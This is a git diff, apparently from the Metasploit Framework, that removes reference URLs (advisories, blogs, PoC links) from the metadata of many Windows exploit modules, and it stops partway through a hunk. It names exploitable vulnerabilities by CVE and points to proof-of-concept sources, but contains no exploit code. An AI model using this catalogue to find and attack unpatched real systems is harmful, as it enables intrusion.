a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -36,10 +36,6 @@ class Metasploit3 < Msf::Exploit::Remote ['BID', '49172'], # ZDI advisory ['ZDI', '11-265'], - # Vendor advisory - ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], - #Fix commit - ['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'], ], 'Payload' => { diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 22de8da2cf..33f43e125b 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -43,8 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '93696' ], - [ 'EDB', '25712' ], - [ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ] + [ 'EDB', '25712' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 8e41747dbb..085e90f186 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-3973' ], [ 'BID', '45546' ], [ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ], - [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25) [ 'URL', 'http://secunia.com/advisories/42693' ], [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ] ], diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index b8242cfaef..96d12e137b 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -26,8 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2007-3147' ], - [ 'OSVDB', '37082' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ], + [ 'OSVDB', '37082' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index b688132db1..6f5aa83335 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -40,9 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2007-1765'], ['OSVDB', '33629'], ['BID', '23194'], - ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], - ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], - ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], + ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'] ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultOptions' => diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index a3968a6e0a..acbae74556 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -31,7 +31,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2288' ], [ 'OSVDB', '85116' ], [ 'BID', '55330' ], - [ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ], [ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ] ], 'Platform' => [ 'win' ], diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index c74472bc16..e73645b2ee 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '36600' ], [ 'OSVDB', '58729' ], [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], - [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ], - [ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ], + [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index 95a64537dc..5e4d7de6d3 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-4195' ], [ 'BID', '37192' ], [ 'OSVDB', '60632' ], - [ 'URL', 'http://retrogod.altervista.org/9sg_adobe_illuso.html' ], [ 'EDB', '10281' ], ], 'DefaultOptions' => diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index 8cd59d4307..f47602744f 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE' , '2009-0658' ], - [ 'OSVDB', '52073' ], - [ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'], + [ 'OSVDB', '52073' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index 4a2316be78..fd420091a1 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '77529' ], [ 'BID', '50922' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ], - [ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ], [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ], [ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ] diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb index 61e21900e7..0985e0c229 100644 --- a/modules/exploits/windows/fileformat/etrust_pestscan.rb +++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2009-4225' ], - [ 'OSVDB', '60862'], - [ 'URL', 'http://www.my-etrust.com/Extern/RoadRunner/PestScan/scan.htm' ], + [ 'OSVDB', '60862'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index 68975bbfdf..3e903cfb6a 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -36,8 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-0033' ], [ 'OSVDB', '62241' ], [ 'MSB', 'MS10-004' ], - [ 'ZDI', '10-017' ], - [ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ] + [ 'ZDI', '10-017' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index fead1b7632..a0786b7cfc 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -38,8 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '70263' ], [ 'MSB', 'MS11-006' ], [ 'BID', '45662' ], - [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2490606.mspx' ], - [ 'URL', 'http://www.powerofcommunity.net/schedule.html' ] + [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2490606.mspx' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index c3fd075511..7e68750c0f 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -33,8 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-0105'], ['OSVDB', '71765'], ['MSB', 'MS11-021'], - ['ZDI', '11-121'], - ['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/'] + ['ZDI', '11-121'] ], 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb index a1cf7d4dc5..52709c9794 100644 --- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb +++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb @@ -36,8 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '81125' ], [ 'BID', '52911' ], [ 'MSB', 'MS12-027' ], - [ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ], - [ 'URL', 'http://abysssec.com/files/The_Arashi.pdf' ] + [ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index 876dc030e1..12a76d2f09 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -61,8 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote ['MSB', 'MS14-060'], ['BID', '70419'], ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'], - ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'], - ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/'] + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'] ], 'Payload' => { diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index b8a2515217..0e83aa1d3e 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -34,8 +34,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '72143' ], #[ 'BID', 'xxx' ], [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ], - [ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ], - [ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ] ], 'Payload' => diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index b1619f21f0..b2aa38f375 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -29,8 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2004-0362'], ['OSVDB', '4355'], - ['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'], - ['URL', 'http://xforce.iss.net/xforce/alerts/id/166'], + ['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'] ], 'Payload' => { diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb index 6db1f8edac..09ec293453 100644 --- a/modules/exploits/windows/firewall/kerio_auth.rb +++ b/modules/exploits/windows/firewall/kerio_auth.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2003-0220'], ['OSVDB', '6294'], - ['BID', '7180'], - ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'], + ['BID', '7180'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 502909cab9..6ae2f48820 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2005-0277'], [ 'OSVDB', '12810'], [ 'OSVDB', '12811'], - [ 'BID', '12155'], - [ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'], + [ 'BID', '12155'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index 59b73f5ae1..db15f4a362 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -37,9 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '38262' ], [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ], [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ], - [ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ], - [ 'URL', 'http://code.google.com/p/easyftpsvr/'], - [ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ] + [ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index 5f30f536b1..ff40940d5e 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2005-3683'], [ 'OSVDB', '20909'], - [ 'BID', '15457'], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'], + [ 'BID', '15457'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 09afe42621..75c3f1fa63 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -33,8 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2004-0330'], [ 'OSVDB', '4073'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'], - [ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'], - [ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'], [ 'BID', '9751'], ], 'Privileged' => false, diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index 1ac4fa8b19..b587adc4f6 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '62163' ], - [ 'EDB', '11293' ], - [ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ] + [ 'EDB', '11293' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index 46d5e514cf..1b8205a688 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875' ], - [ 'BID', '10078' ], - [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], + [ 'BID', '10078' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index adb088d0ca..3dbe048b51 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875' ], - [ 'BID', '10078' ], - [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], + [ 'BID', '10078' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 1427ae6be5..4f305e2f1a 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -34,9 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2002-0392' ], [ 'OSVDB', '838'], - [ 'BID', '5033' ], - [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'], - + [ 'BID', '5033' ] ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb index 64cc65b2c6..df52e63683 100644 --- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb +++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb @@ -26,8 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2008-4008' ], - [ 'OSVDB', '49283' ], - [ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'], + [ 'OSVDB', '49283' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb index 237731cadd..4534cad6c1 100644 --- a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2014-5005'], ['OSVDB', '110643'], - ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt'] + ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 7ea36e37cc..5b2d8df90d 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -44,8 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-1964' ], [ 'OSVDB', '65552' ], [ 'BID', '40873' ], - [ 'ZDI', '10-108' ], - [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] + [ 'ZDI', '10-108' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index a994632a33..054d3c4090 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -44,7 +44,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '65427' ], [ 'BID', '40637' ], [ 'ZDI', '10-105' ], - [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 46d197ca38..44464a26e7 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -45,7 +45,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-2703' ], [ 'OSVDB', '66514' ], [ 'BID', '41829' ], - [ 'URL', 'http://www.vupen.com/english/advisories/2010/1866' ], [ 'ZDI', '10-137' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ] ], diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index cc7a9151ab..5a33167929 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-5156' ], [ 'OSVDB', '29421' ], [ 'EDB', '2467' ], - [ 'URL', 'http://www.remote-exploit.org/advisories/mcafee-epo.pdf' ], [ 'BID', '20288' ], ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb index 2b47242a1a..6d1632f045 100644 --- a/modules/exploits/windows/http/peercast_url.rb +++ b/modules/exploits/windows/http/peercast_url.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2006-1148'], ['OSVDB', '23777'], - ['BID', '17040'], - ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'], + ['BID', '17040'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index e30aa1821d..c4a78a8faa 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2009-4006' ], # unsure [ 'OSVDB', '59772' ], - [ 'URL', 'http://rangos.de/ServU-ADV.txt' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ], + [ 'URL', 'http://rangos.de/ServU-ADV.txt' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/trackit_file_upload.rb b/modules/exploits/windows/http/trackit_file_upload.rb index 801828a549..da07199b52 100644 --- a/modules/exploits/windows/http/trackit_file_upload.rb +++ b/modules/exploits/windows/http/trackit_file_upload.rb @@ -34,8 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2014-4872' ], [ 'OSVDB', '112741' ], [ 'US-CERT-VU', '121036' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Platform' => 'win', diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb index f6eb575e88..25987fbebe 100644 --- a/modules/exploits/windows/imap/mailenable_login.rb +++ b/modules/exploits/windows/imap/mailenable_login.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2006-6423'], [ 'OSVDB', '32125'], - [ 'BID', '21492'], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051229.html'], + [ 'BID', '21492'] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index 1cbb03654f..eb566db50b 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '55175' ], - [ 'URL', 'http://www.w00t-shell.net/' ], + [ 'OSVDB', '55175' ] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index d655683544..e8982c1720 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -47,8 +47,7 @@ class Metasploit3 < Msf::Exploit::Local 'References' => [ [ 'OSVDB', '96208' ], - [ 'EDB', '27282' ], - [ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ] + [ 'EDB', '27282' ] ], 'DisclosureDate' => 'Aug 02 2013', 'DefaultTarget' => 0 diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 105a4a492d..00c7b0b0bb 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -28,9 +28,6 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], 'DefaultTarget' => 0, - 'References' => [ - ['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html'] - ], 'DisclosureDate' => 'Jan 3 2012' )) diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index ec3c8e4539..dfa59f4b35 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -78,7 +78,6 @@ class Metasploit3 < Msf::Exploit::Local %w(EDB 30014), %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), - %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp), %w(URL http://www.secniu.com/blog/?p=53), %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index 735e01c70b..e68b7eb646 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Local 'References' => [ [ 'OSVDB', '46578' ], - [ 'BID', '30001' ], - [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ] + [ 'BID', '30001' ] ], 'DisclosureDate'=> 'Jun 26 2008', 'DefaultTarget' => 0 diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb index 9da271535c..22a5db2c6e 100644 --- a/modules/exploits/windows/local/virtual_box_opengl_escape.rb +++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb @@ -76,8 +76,7 @@ class Metasploit3 < Msf::Exploit::Local ['CVE', '2014-0983'], ['BID', '66133'], ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'], - ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'], - ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php'] + ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'] ], 'DisclosureDate' => 'Mar 11 2014', 'DefaultTarget' => 0 diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index d33320a4dc..1bc230ad4c 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2006-0460'], ['OSVDB', '23263'], - ['BID', '16697'], - 